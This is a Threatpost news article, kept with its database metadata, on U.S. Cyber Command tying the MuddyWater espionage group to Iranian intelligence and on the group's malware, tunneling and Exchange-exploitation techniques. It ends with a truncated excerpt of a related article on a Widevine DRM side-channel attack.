US Military Ties Prolific MuddyWater Cyberespionage APT to Iran
2022-01-13T17:35:34
ID THREATPOST:6EA5AB7FCD767A01EA56D7EEF6DA0B0A Type threatpost Reporter Lisa Vaas Modified 2022-01-13T17:35:34
Description
U.S. Cyber Command has confirmed that MuddyWater – an advanced persistent threat (APT) cyberespionage actor aka Mercury, Static Kitten, TEMP.Zagros or Seedworm that’s historically targeted government victims in the Middle East – is an Iranian intelligence outfit.
The link has been suspected, and now it’s government-stamped. On Wednesday, USCYBERCOM not only confirmed the tie; it also disclosed the plethora of open-source tools and strategies MuddyWater uses to break into target systems and released malware samples.
“MuddyWater has been seen using a variety of techniques to maintain access to victim networks,” according to USCYBERCOM’S National Mission Force (CNMF). “These include side-loading DLLs in order to trick legitimate programs into running malware and obfuscating PowerShell scripts to hide command and control functions.”
USCYBERCOM has uploaded multiple MuddyWater-attributed malware samples to VirusTotal.
> Iranian MOIS hacker group #MuddyWater is using a suite of malware to conduct espionage and malicious activity. If you see two or more of these malware on your network, you may have MuddyWater on it: <https://t.co/xTI6xuQOg3>. Attributed through @NCIJTF@FBI
>
> — USCYBERCOM Cybersecurity Alert (@CNMF_CyberAlert) January 12, 2022
USCYBERCOM’s press release described MuddyWater as being “a subordinate element within the Iranian Ministry of Intelligence and Security (MOIS).” The Congressional Research Service describes MOIS as conducting “domestic surveillance to identify regime opponents” and said that the agency is responsible for surveillance of anti-regime activists abroad through a network of agents placed in Iran’s embassies.
New Variants of PowGoop Malware
Among multiple malware sets, MuddyWater is using new variants of the PowGoop malware family, CNMF said.
PowGoop was first described by Palo Alto Networks in September 2020, when it was used in attacks on two state-run organizations in the Middle East and North Africa that ultimately installed and ran a variant of the Thanos ransomware.
At the time, Palo Alto suspected that the threat actors were using a downloader – one that researchers dubbed PowGoop – to reach out to a remote server to download and execute PowerShell scripts. The name comes from the use of GoogleUpdate.exe to load a malicious, modified version of goopdate.dll – a DLL that’s used to load a malicious PowerShell script from an external file.
PowGoop has been buffed up since it was first spotted: SentinelLabs on Wednesday explained that significantly enhanced, newer variants of PowGoop have shown up in the wild, discovered in recently triaged incidents, “suggesting the group continues to use and maintain it even after recent exposures.”
“The new variants reveal that the threat group has expanded its arsenal of legitimate software used to load malicious DLLs,” SentinelOne intelligence researcher Amitai Ben Shushan Ehrlich wrote.
Ehrlich explained that, aside from GoogleUpdate.exe, three more benign pieces of software are abused in order to sideload malicious DLLs: Git.exe, FileSyncConfig.exe and Inno_Updater.exe.
CNMF has shared new samples showing the different parts of MuddyWater’s new suite of tools, along with JavaScript files used to establish connections back to malicious infrastructure. They include new PowGoop command-and-control (C2) beacon variants as well as the Mori Backdoor: a backdoor used for cyber espionage that employes DNS tunneling to communicate with the C2 infrastructure.
“Any instances of these files may indicate an attacker in the network,” CNMF reiterated about newly released and already known indicators of compromise (IoC). “Should a network operator identify multiple of the tools on the same network, it may indicate the presence of Iranian malicious cyber actors.”
Love of Tunneling, Exchange Exploits & Ruler Abuse
SentinelLabs drilled down into multiple additional recent findings about MuddyWater’s techniques, tactics and procedures (TTPs), including:
MuddyWater Tunneling Activity: “The operators behind MuddyWater activities are very fond of tunneling tools,” SentinelOne’s Ehrlich wrote. “The custom tools used by the group often provide limited functionality, and are used to drop tunneling tools which enable the operators to conduct a wider set of activities.”
MuddyWater attackers are using tunneling tools including Chisel, SSF and Ligolo: tools that enable the threat actor to connect to machines within target environments as if they were inside the operator LAN, he explained.
Summary of MuddyWater tunneling using Chisel. Source: Sentinel Labs.
Exploiting Microsoft Exchange: Sentinel Labs has also tracked MuddyWater targeting Exchange servers of high-profile organizations. “This subset of Exchange exploitation activity is rather interesting, as without context it would be difficult to attribute it to MuddyWater because the activity relies almost completely on publicly available offensive security tools,” Ehrlich noted.
They’re using two tools to try to exploit Exchange servers: a publicly available script for exploiting CVE-2020-0688 – a vulnerability that enables remote code execution (RCE) for an authenticated user – and Ruler, an open source Exchange exploitation framework recently used to target a string of Middle Eastern telecom operators and IT companies, as reported by Symantec’s Threat Hunter Team last month.
MuddyWater: Better & Better at Stirring Up Muck
Analysis shows that the MuddyWater APT continues to evolve and adapt its techniques Sentinel Labs summarized. “While still relying on publicly available offensive security tools, the group has been refining its custom toolset and utilizing new techniques to avoid detection,” Ehrlich observed, pointing to evolution of the PowGoop malware family, the group’s use of tunneling tools, and its targeting of Exchange servers in high-profile organizations.
The group doesn’t have to be fancy to be effective, he noted: “Like many other Iranian threat actors, the group displays less sophistication and technological complexity compared to other state-sponsored APT groups. Even so, it appears MuddyWater’s persistency is a key to their success, and their lack of sophistication does not appear to prevent them from achieving their goals.”
PasswordReset: On-Demand Event: Fortify 2022 with a password security strategy built for today’s threats. This Threatpost Security Roundtable, built for infosec professionals, centers on enterprise credential management, the new password basics and mitigating post-credential breaches. Join Darren James, with Specops Software and Roger Grimes, defense evangelist at KnowBe4 and Threatpost host Becky Bracken. Register & Stream this FREE session today – sponsored by Specops Software.
{"id": "THREATPOST:6EA5AB7FCD767A01EA56D7EEF6DA0B0A", "vendorId": null, "type": "threatpost", "bulletinFamily": "info", "title": "US Military Ties Prolific MuddyWater Cyberespionage APT to Iran", "description": "U.S. Cyber Command has confirmed that [MuddyWater](<https://threatpost.com/wirte-middle-eastern-governments/176688/>) \u2013 an advanced persistent threat (APT) cyberespionage actor aka Mercury, Static Kitten, TEMP.Zagros or Seedworm that\u2019s historically [targeted government victims](<https://threatpost.com/muddywater-apt-custom-tools/144193/>) in the Middle East \u2013 is an Iranian intelligence outfit.\n\nThe link has been suspected, and now it\u2019s government-stamped. On Wednesday, USCYBERCOM not only confirmed the tie; it also disclosed the plethora of open-source [tools and strategies](<https://www.cisa.gov/uscert/ncas/current-activity/2022/01/12/cnmf-identifies-and-discloses-malware-used-iranian-apt-muddywater>) MuddyWater uses to break into target systems and released malware samples.\n\n\u201cMuddyWater has been seen using a variety of techniques to maintain access to victim networks,\u201d according to USCYBERCOM\u2019S National Mission Force (CNMF). \u201cThese include side-loading DLLs in order to trick legitimate programs into running malware and obfuscating PowerShell scripts to hide command and control functions.\u201d\n\nUSCYBERCOM has uploaded multiple MuddyWater-attributed malware samples to [VirusTotal](<https://www.virustotal.com/gui/user/CYBERCOM_Malware_Alert>).\n\n> Iranian MOIS hacker group [#MuddyWater](<https://twitter.com/hashtag/MuddyWater?src=hash&ref_src=twsrc%5Etfw>) is using a suite of malware to conduct espionage and malicious activity. If you see two or more of these malware on your network, you may have MuddyWater on it: <https://t.co/xTI6xuQOg3>. Attributed through [@NCIJTF](<https://twitter.com/ncijtf?ref_src=twsrc%5Etfw>) [@FBI](<https://twitter.com/FBI?ref_src=twsrc%5Etfw>)\n> \n> \u2014 USCYBERCOM Cybersecurity Alert (@CNMF_CyberAlert) [January 12, 2022](<https://twitter.com/CNMF_CyberAlert/status/1481341952247349248?ref_src=twsrc%5Etfw>)\n\nUSCYBERCOM\u2019s [press release](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>) described MuddyWater as being \u201ca subordinate element within the Iranian Ministry of Intelligence and Security (MOIS).\u201d The [Congressional Research Service](<https://crsreports.congress.gov/product/pdf/RL/RL32048>) describes MOIS as conducting \u201cdomestic surveillance to identify regime opponents\u201d and said that the agency is responsible for surveillance of anti-regime activists abroad through a network of agents placed in Iran\u2019s embassies.\n\n## New Variants of PowGoop Malware\n\nAmong multiple malware sets, MuddyWater is using new variants of the PowGoop malware family, CNMF said.\n\nPowGoop was first [described](<https://unit42.paloaltonetworks.com/thanos-ransomware/>) by Palo Alto Networks in September 2020, when it was used in attacks on two state-run organizations in the Middle East and North Africa that ultimately installed and ran a variant of the [Thanos](<https://threatpost.com/thanos-ransomware-weaponize-riplace-tactic/156438/>) ransomware.\n\nAt the time, Palo Alto suspected that the threat actors were using a downloader \u2013 one that researchers dubbed PowGoop \u2013 to reach out to a remote server to download and execute PowerShell scripts. The name comes from the use of GoogleUpdate.exe to load a malicious, modified version of goopdate.dll \u2013 a DLL that\u2019s used to load a malicious PowerShell script from an external file.\n\nPowGoop has been buffed up since it was first spotted: SentinelLabs on Wednesday [explained](<https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/>) that significantly enhanced, newer variants of PowGoop have shown up in the wild, discovered in recently triaged incidents, \u201csuggesting the group continues to use and maintain it even after recent exposures.\u201d\n\n\u201cThe new variants reveal that the threat group has expanded its arsenal of legitimate software used to load malicious DLLs,\u201d SentinelOne intelligence researcher Amitai Ben Shushan Ehrlich wrote.\n\nEhrlich explained that, aside from GoogleUpdate.exe, three more benign pieces of software are abused in order to sideload malicious DLLs: Git.exe, FileSyncConfig.exe and Inno_Updater.exe.\n\nCNMF has shared new samples showing the different parts of MuddyWater\u2019s new suite of tools, along with JavaScript files used to establish connections back to malicious infrastructure. They include new PowGoop command-and-control (C2) beacon variants as well as the Mori Backdoor: a backdoor used for cyber espionage that employes DNS tunneling to communicate with the C2 infrastructure.\n\n\u201cAny instances of these files may indicate an attacker in the network,\u201d CNMF reiterated about newly released and already known indicators of compromise (IoC). \u201cShould a network operator identify multiple of the tools on the same network, it may indicate the presence of Iranian malicious cyber actors.\u201d\n\n## Love of Tunneling, Exchange Exploits & Ruler Abuse\n\nSentinelLabs drilled down into multiple additional recent findings about MuddyWater\u2019s techniques, tactics and procedures (TTPs), including:\n\n**MuddyWater Tunneling Activity: **\u201cThe operators behind MuddyWater activities are very fond of tunneling tools,\u201d SentinelOne\u2019s Ehrlich wrote. \u201cThe custom tools used by the group often provide limited functionality, and are used to drop tunneling tools which enable the operators to conduct a wider set of activities.\u201d\n\nMuddyWater attackers are using tunneling tools including Chisel, SSF and Ligolo: tools that enable the threat actor to connect to machines within target environments as if they were inside the operator LAN, he explained.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/01/13120926/Summary-of-MuddyWater-tunneling-using-Chisel--e1642093784315.png>)\n\nSummary of MuddyWater tunneling using Chisel. Source: Sentinel Labs.\n\n**Exploiting Microsoft Exchange: **Sentinel Labs has also tracked MuddyWater targeting Exchange servers of high-profile organizations. \u201cThis subset of Exchange exploitation activity is rather interesting, as without context it would be difficult to attribute it to MuddyWater because the activity relies almost completely on publicly available offensive security tools,\u201d Ehrlich noted.\n\nThey\u2019re using two tools to try to exploit Exchange servers: a publicly available script for exploiting [CVE-2020-0688](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) \u2013 a vulnerability that enables remote code execution (RCE) for an authenticated user \u2013 and Ruler, an open source Exchange exploitation framework recently used to target a string of Middle Eastern telecom operators and IT companies, as [reported](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east>) by Symantec\u2019s Threat Hunter Team last month.\n\n## MuddyWater: Better & Better at Stirring Up Muck\n\nAnalysis shows that the MuddyWater APT continues to evolve and adapt its techniques Sentinel Labs summarized. \u201cWhile still relying on publicly available offensive security tools, the group has been refining its custom toolset and utilizing new techniques to avoid detection,\u201d Ehrlich observed, pointing to evolution of the PowGoop malware family, the group\u2019s use of tunneling tools, and its targeting of Exchange servers in high-profile organizations.\n\nThe group doesn\u2019t have to be fancy to be effective, he noted: \u201cLike many other Iranian threat actors, the group displays less sophistication and technological complexity compared to other state-sponsored APT groups. Even so, it appears MuddyWater\u2019s persistency is a key to their success, and their lack of sophistication does not appear to prevent them from achieving their goals.\u201d\n\n**Password** **Reset: ****[On-Demand Event](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>):** Fortify 2022 with a password security strategy built for today\u2019s threats. This [Threatpost Security Roundtable](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>), built for infosec professionals, centers on enterprise credential management, the new password basics and mitigating post-credential breaches. Join Darren James, with Specops Software and Roger Grimes, defense evangelist at KnowBe4 and Threatpost host Becky Bracken. **[Register & Stream this FREE session today](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>)** \u2013 sponsored by Specops Software.\n", "published": "2022-01-13T17:35:34", "modified": "2022-01-13T17:35:34", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.0}, "severity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://threatpost.com/us-military-ties-muddywater-cyberespionage-apt-iran/177633/", "reporter": "Lisa Vaas", "references": ["https://threatpost.com/wirte-middle-eastern-governments/176688/", "https://threatpost.com/muddywater-apt-custom-tools/144193/", "https://www.cisa.gov/uscert/ncas/current-activity/2022/01/12/cnmf-identifies-and-discloses-malware-used-iranian-apt-muddywater", "https://www.virustotal.com/gui/user/CYBERCOM_Malware_Alert", "https://twitter.com/hashtag/MuddyWater?src=hash&ref_src=twsrc%5Etfw", "https://t.co/xTI6xuQOg3", "https://twitter.com/ncijtf?ref_src=twsrc%5Etfw", "https://twitter.com/FBI?ref_src=twsrc%5Etfw", "https://twitter.com/CNMF_CyberAlert/status/1481341952247349248?ref_src=twsrc%5Etfw", "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/", "https://crsreports.congress.gov/product/pdf/RL/RL32048", "https://unit42.paloaltonetworks.com/thanos-ransomware/", "https://threatpost.com/thanos-ransomware-weaponize-riplace-tactic/156438/", "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/", "https://media.threatpost.com/wp-content/uploads/sites/103/2022/01/13120926/Summary-of-MuddyWater-tunneling-using-Chisel--e1642093784315.png", "https://threatpost.com/microsoft-exchange-exploited-flaw/159669/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east", "https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/", "https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/", "https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/"], "cvelist": ["CVE-2020-0688"], "immutableFields": [], "lastseen": "2022-01-13T18:12:51", "viewCount": 165, "enchantments": {"dependencies": {"references": [{"type": "0daydb", "idList": ["0DAYDB:137B89027DF0ADFC87056CE176A77441"]}, {"type": "attackerkb", "idList": ["AKB:67DD67D3-33BC-455C-98A3-7DD0E1D4613D", "AKB:90047E82-FDD8-47DB-9552-50D104A34230", "AKB:B8A2FA01-8796-4335-8BF4-45147E14AFC9", "AKB:E6BD4207-BAC0-40E1-A4C8-92B6D3D58D4B", "AKB:ED05D93E-5B20-4B44-BAC8-C4CB5B46254A"]}, {"type": "avleonov", "idList": ["AVLEONOV:4FCA3B316DF1BAA7BC038015245D9813", "AVLEONOV:56C5888A0A7E36482CFC39A438BADAB3", "AVLEONOV:6A714F9BC2BBE696D3586B2629169491"]}, {"type": "canvas", "idList": ["OWA_RCE"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2020-0104"]}, {"type": "cisa", "idList": ["CISA:18E5825084F7681AD375ACB5B1270280"]}, {"type": "cve", "idList": ["CVE-2020-0688"]}, {"type": "exploitdb", "idList": ["EDB-ID:48153", "EDB-ID:48168"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:71F27F0B85E2B8F7A6B9272A3136DA05"]}, {"type": "githubexploit", "idList": ["39732E15-7AF0-5FC2-851B-B63466C0F2F2", "796841FC-B75D-5F42-B0E7-7FF15A74E5C1", "8C937DCD-4090-5A44-9361-4D9ECF545843", "A7CA20BB-BCF9-52C0-A708-01F9ADECB1AC", "AAC2853C-A655-5E80-9262-A654102B874A", "AC9BE6BA-8352-57D6-80E3-8BB62A0D31C2", "BE2B1B45-11AE-56F2-A5B4-2497BAE3B016", "F1CA855B-967C-5A5E-9256-FDDE87702713"]}, {"type": "hivepro", "idList": ["HIVEPRO:FD730BCAD086DD8C995242D13B38EBC8"]}, {"type": "kaspersky", "idList": ["KLA11664"]}, {"type": "krebs", "idList": ["KREBS:95DEE0244F6DE332977BB606555E5A3C", "KREBS:9D9C58DB5C5495B10D2EBDB92549B0F2", "KREBS:DF8493DA16F49CE6247436830678BA8D"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:5899EF0CF34937AFA2DB4AB02D282DF6"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/WINDOWS/HTTP/EXCHANGE_ECP_VIEWSTATE", "MSF:EXPLOIT/WINDOWS/HTTP/EXCHANGE_ECP_VIEWSTATE/", "MSF:EXPLOIT/WINDOWS/LOCAL/CVE_2020_0787_BITS_ARBITRARY_FILE_MOVE/"]}, {"type": "mscve", "idList": ["MS:CVE-2020-0688", "MS:CVE-2021-26855", "MS:CVE-2021-26857", "MS:CVE-2021-26858", "MS:CVE-2021-27065"]}, {"type": "mskb", "idList": ["KB4536987", "KB4536988", "KB4536989"]}, {"type": "mssecure", "idList": ["MSSECURE:748E6D0B920B699D6D088D0AD4422C46", "MSSECURE:E3C8B97294453D962741782EC959E79C"]}, {"type": "nessus", "idList": ["701277.PRM", "SMB_NT_MS20_FEB_EXCHANGE.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:156592", "PACKETSTORM:156620", "PACKETSTORM:158056"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "QUALYSBLOG:01C65083E501A6BAFB08FCDA1D561012", "QUALYSBLOG:14FD05969C722B5BF3DBBF48ED6DA9C0", "QUALYSBLOG:282A52EA9B1F4C4F3F084197709217B0", "QUALYSBLOG:9D071EBE42634FFBB58CB68A83252B41", "QUALYSBLOG:DE1FEC2B9B661D42DAA0BA398DBFD24E"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:0C3EDBDC537092A20C850F762D5A5856", "RAPID7BLOG:CBD7A5DA1DAAE9DCFD01F104F4B1B5FB", "RAPID7BLOG:EAEC3BF3C403DB1C2765FD14F0E03A85"]}, {"type": "securelist", "idList": ["SECURELIST:67C82A057DBE22C60DC2677D52D52ECD", "SECURELIST:91CACDF02C22F17E70A0DC58D036F9DE", "SECURELIST:D0FFA6E46D43B7A592C34676F2EF3EDB", "SECURELIST:F05591B26EFD622E6C72E180A7A47154"]}, {"type": "talosblog", "idList": ["TALOSBLOG:EA0E0FACD93EAC05E55A6C64CC82F3F6"]}, {"type": "taosecurity", "idList": ["TAOSECURITY:CF99A8E68CF7727296D8451EE445844C"]}, {"type": "thn", "idList": ["THN:0E6CD47141AAF54903BD6C1F9BD96F44", "THN:3E9680853FA3A677106A8ED8B7AACBE6", "THN:80D2DBC4130D9FF314BDC4C19EB5CD4E", "THN:8D0E2C792A85A3FB8EC6A823D487FAE6", "THN:9B536B531E6948881A29BEC793495D1E", "THN:B95DC27A89565323F0F8E6350D24D801"]}, {"type": "threatpost", "idList": ["THREATPOST:06C5D9E6950186757AA989F2557336B3", "THREATPOST:142DAF150C2BF9EB70ECE95F46939532", "THREATPOST:1925DCFAF239C5B25D21852DB978E8E9", "THREATPOST:21FB6EBE566C5183C8FD9BDA28A56418", "THREATPOST:22663CEB225A1F7F9DD4EBD8B84956C1", "THREATPOST:24AD38597408C4E7757770D45345AEBA", "THREATPOST:2BDC072802830F0CC831DE4C4F1FA580", "THREATPOST:33026719684C7CD1B70B04B1CFFE2AEB", "THREATPOST:333795A46E195AC657D3C50CFAFE7B55", "THREATPOST:3E89058B621DF5B431A387D18E4F398C", "THREATPOST:420EE567E806D93092741D7BB375AC57", "THREATPOST:4B2E19CAF27A3EFBCB2F777C6E528317", "THREATPOST:4C22D22EF8F65F5DA108A15C99CB9F55", "THREATPOST:4D0DF8055D2BC682608C1A746606A6E4", "THREATPOST:4DD624E32718A8990263A37199EEBD02", "THREATPOST:4F1C35A7D4BE774DF9C88794C793181D", "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "THREATPOST:677D5A0A56D06021C8EF30D0361579C6", "THREATPOST:7BCCC5B4AA7FB7724466FFAB585EC55D", "THREATPOST:891CC19008EEE7B8F1523A2BD4A37993", "THREATPOST:985BD7D2744A9AA9EC43C5DDCD561812", "THREATPOST:99AD02BEC4B8423B8E050E0A4E9C4DEB", "THREATPOST:A298611BE0D737083D0CFFE084BEC006", "THREATPOST:AD8A075328874910E8DCBC149A6CA284", "THREATPOST:B047BB0FECBD43E30365375959B09B04", "THREATPOST:B25070E6CF075EEA6B20C4D8D25ADBE8", "THREATPOST:BD8DD789987BFB9BE93AA8FD73E98B40", "THREATPOST:CF4E98EC11A9E5961C991FE8C769544E", "THREATPOST:DBA639CBD82839FDE8E9F4AE1031AAF7", "THREATPOST:DDB6E2767CFC8FF972505D4C12E6AB6B", "THREATPOST:DF7C78725F19B2637603E423E56656D4", "THREATPOST:EA093948BFD7033F5C9DB5B3199BEED4", "THREATPOST:EE9C0062A3E6400BAF159BCA26EABB34", "THREATPOST:F54F8338674294DE3D323ED03140CB71", "THREATPOST:F8F0749C57FDD3CABE842BDFEAD33452", "THREATPOST:FE41B3825C6A9EE91B00CDADD2AF9147"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:9BC812C1F699A6136F37C0ACE6451F20"]}, {"type": "zdi", "idList": ["ZDI-20-258"]}, {"type": "zdt", "idList": ["1337DAY-ID-34037", "1337DAY-ID-34051", "1337DAY-ID-34553"]}]}, "score": {"value": 6.6, "vector": "NONE"}, "backreferences": {"references": [{"type": "0daydb", "idList": ["0DAYDB:137B89027DF0ADFC87056CE176A77441"]}, {"type": "attackerkb", "idList": ["AKB:90047E82-FDD8-47DB-9552-50D104A34230", "AKB:B8A2FA01-8796-4335-8BF4-45147E14AFC9", "AKB:E6BD4207-BAC0-40E1-A4C8-92B6D3D58D4B"]}, {"type": "avleonov", "idList": ["AVLEONOV:56C5888A0A7E36482CFC39A438BADAB3", "AVLEONOV:6A714F9BC2BBE696D3586B2629169491"]}, {"type": "canvas", "idList": ["OWA_RCE"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2020-0104"]}, {"type": "cisa", "idList": ["CISA:18E5825084F7681AD375ACB5B1270280"]}, {"type": "cve", "idList": ["CVE-2020-0688"]}, {"type": "exploitdb", "idList": ["EDB-ID:48153", "EDB-ID:48168"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:71F27F0B85E2B8F7A6B9272A3136DA05"]}, {"type": "githubexploit", "idList": ["39732E15-7AF0-5FC2-851B-B63466C0F2F2", "796841FC-B75D-5F42-B0E7-7FF15A74E5C1", "8C937DCD-4090-5A44-9361-4D9ECF545843", "A7CA20BB-BCF9-52C0-A708-01F9ADECB1AC", "AAC2853C-A655-5E80-9262-A654102B874A", "AC9BE6BA-8352-57D6-80E3-8BB62A0D31C2", "BE2B1B45-11AE-56F2-A5B4-2497BAE3B016", "F1CA855B-967C-5A5E-9256-FDDE87702713"]}, {"type": "hivepro", "idList": ["HIVEPRO:FD730BCAD086DD8C995242D13B38EBC8"]}, {"type": "kaspersky", "idList": ["KLA11664"]}, {"type": "krebs", "idList": ["KREBS:95DEE0244F6DE332977BB606555E5A3C", "KREBS:9D9C58DB5C5495B10D2EBDB92549B0F2"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:5899EF0CF34937AFA2DB4AB02D282DF6"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/WINDOWS/HTTP/EXCHANGE_ECP_VIEWSTATE"]}, {"type": "mscve", "idList": ["MS:CVE-2020-0688"]}, {"type": "mskb", "idList": ["KB4536989"]}, {"type": "mssecure", "idList": ["MSSECURE:748E6D0B920B699D6D088D0AD4422C46", "MSSECURE:E3C8B97294453D962741782EC959E79C"]}, {"type": "nessus", "idList": ["SMB_NT_MS20_FEB_EXCHANGE.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:156592", "PACKETSTORM:156620", "PACKETSTORM:158056"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:14FD05969C722B5BF3DBBF48ED6DA9C0"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:EAEC3BF3C403DB1C2765FD14F0E03A85"]}, {"type": "securelist", "idList": ["SECURELIST:D0FFA6E46D43B7A592C34676F2EF3EDB"]}, {"type": "talosblog", "idList": ["TALOSBLOG:EA0E0FACD93EAC05E55A6C64CC82F3F6"]}, {"type": "taosecurity", "idList": ["TAOSECURITY:CF99A8E68CF7727296D8451EE445844C"]}, {"type": "thn", "idList": ["THN:0E6CD47141AAF54903BD6C1F9BD96F44", "THN:80D2DBC4130D9FF314BDC4C19EB5CD4E"]}, {"type": "threatpost", "idList": ["THREATPOST:06C5D9E6950186757AA989F2557336B3", "THREATPOST:142DAF150C2BF9EB70ECE95F46939532", "THREATPOST:1925DCFAF239C5B25D21852DB978E8E9", "THREATPOST:21FB6EBE566C5183C8FD9BDA28A56418", "THREATPOST:22663CEB225A1F7F9DD4EBD8B84956C1", "THREATPOST:24AD38597408C4E7757770D45345AEBA", "THREATPOST:2BDC072802830F0CC831DE4C4F1FA580", "THREATPOST:33026719684C7CD1B70B04B1CFFE2AEB", "THREATPOST:333795A46E195AC657D3C50CFAFE7B55", "THREATPOST:3E89058B621DF5B431A387D18E4F398C", "THREATPOST:420EE567E806D93092741D7BB375AC57", "THREATPOST:4C22D22EF8F65F5DA108A15C99CB9F55", "THREATPOST:4DD624E32718A8990263A37199EEBD02", "THREATPOST:4F1C35A7D4BE774DF9C88794C793181D", "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "THREATPOST:677D5A0A56D06021C8EF30D0361579C6", "THREATPOST:7BCCC5B4AA7FB7724466FFAB585EC55D", "THREATPOST:985BD7D2744A9AA9EC43C5DDCD561812", "THREATPOST:B047BB0FECBD43E30365375959B09B04", "THREATPOST:BD8DD789987BFB9BE93AA8FD73E98B40", "THREATPOST:DDB6E2767CFC8FF972505D4C12E6AB6B", "THREATPOST:DF7C78725F19B2637603E423E56656D4", "THREATPOST:EE9C0062A3E6400BAF159BCA26EABB34", "THREATPOST:F54F8338674294DE3D323ED03140CB71", "THREATPOST:FE41B3825C6A9EE91B00CDADD2AF9147"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:9BC812C1F699A6136F37C0ACE6451F20"]}, {"type": "zdi", "idList": ["ZDI-20-258"]}, {"type": "zdt", "idList": ["1337DAY-ID-34037", "1337DAY-ID-34051"]}]}, "exploitation": null, "vulnersScore": 6.6}, "_state": {"dependencies": 1647589307, "score": 0}}
{"threatpost": [{"lastseen": "2020-04-08T11:51:54", "description": "Researchers have used a proof-of-concept (PoC) side-channel attack to download an unencrypted raw file for Netflix\u2019 Stranger Things, in a format that\u2019s ready to distribute out to any buyer on the internet.\n\nThis pirate\u2019s booty is the result of breaking open the widely deployed digital rights management (DRM) to framework known as Widevine, the DRM engine behind Netflix, Hulu and Amazon Prime, among others.\n\nBy way of background, Widevine is an encryption method developed by Google but offered royalty-free to content creators and streaming services. According to Google stats, about 5 billion devices out there support it, and 82 billion content licenses are issued quarterly. In other words, it\u2019s a Big Kahuna when it comes to anti-piracy approaches \u2013 rivaled only by Apple\u2019s FairPlay and Microsoft\u2019s PlayReady DRM schemes.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nWidevine\u2019s end-to-end approach to encrypting copyrighted content and [preventing piracy](<https://threatpost.com/kodi_box_malware/144191/>) is actually quite secure, according to researchers at Fidus Information Security, who developed the PoC. But a vulnerability exists in Level 3 of the framework that opens the door to side-channel attacks.\n\n## The Widevine Approach\n\nTo keep pirates from streaming or downloading content that they shouldn\u2019t (both for personal or resale purposes), Widevine uses a combination of hardware security and an isolated secure operating system (OS).\n\nAs it explains in its [documentation](<https://www.widevine.com/>), Widevine offers three levels of content protection: 1, 2 and 3. Level 1 is the most secure, where all content processing and cryptography operations are handled inside a Trusted Execution Environment (TEE); and, Widevine is incorporated into a display via a secured path like HDCP. This is the case with most modern Android devices.\n\nIn Level 2, Widevine is used within a TEE to decrypt a stream, which is then sent to the display in an unprotected format.\n\nAnd in Level 3, which Fidus researchers were able to crack, Widevine is used to decrypt streams using the device\u2019s CPU rather than inside the secure TEE, after which the decrypted stream is sent to the display unprotected. The Chrome and Firefox browsers use Level 3, for instance.\n\nThe capabilities of the user\u2019s playback device and the quality of the content determines which level of protection is applied. Level 3 is used mainly for non-HD streams, 720p and below, and low-resolution audio \u2013 content that would be delivered over spotty broadband to a desktop or laptop (which is why browsers support Level 3) or to less sophisticated, low-cost, non-HD devices that lack TEEs, which are [actually found in volume](<https://www.androidauthority.com/oneplus-5t-review-814075/>) in many areas of the world, like China. Some mobile devices also [block HD streams](<https://www.digit.in/features/mobile-phones/poco-f1-is-not-the-only-smartphone-to-block-hd-streaming-no-xiaomi-device-can-stream-netflix-in-hd-43339.html>) because of wireless carrier restrictions.\n\nIn all cases, \u201cthrough the design of the Widevine framework, the keys that have been used to encrypt the content are never actually exposed directly to the 